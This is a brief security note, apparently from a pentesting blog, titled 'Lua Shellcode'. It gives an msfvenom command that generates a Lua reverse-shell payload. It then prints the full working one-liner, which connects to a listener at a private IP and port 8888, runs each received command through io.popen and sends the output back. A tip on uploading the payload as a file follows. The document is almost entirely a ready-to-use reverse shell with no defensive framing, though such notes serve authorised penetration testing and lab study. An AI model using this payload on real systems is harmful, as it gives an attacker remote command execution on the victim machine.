Lua Shellcode

R3zk0n · October 2, 2025

Research
Contents

    Spawning a non-interactive shell

    • msfvenom -p cmd/unix/reverse_lua lhost=192.168.118.3 lport=8888 -f raw -o shell.lua
    • cat shell.lua
    lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('192.168.118.3',8888);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
    • If the shellcode is uploaded as a file, remove the lua -e
     "local s=require('socket');local t=assert(s.tcp());t:connect('192.168.118.3',8888);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

    Twitter, Facebook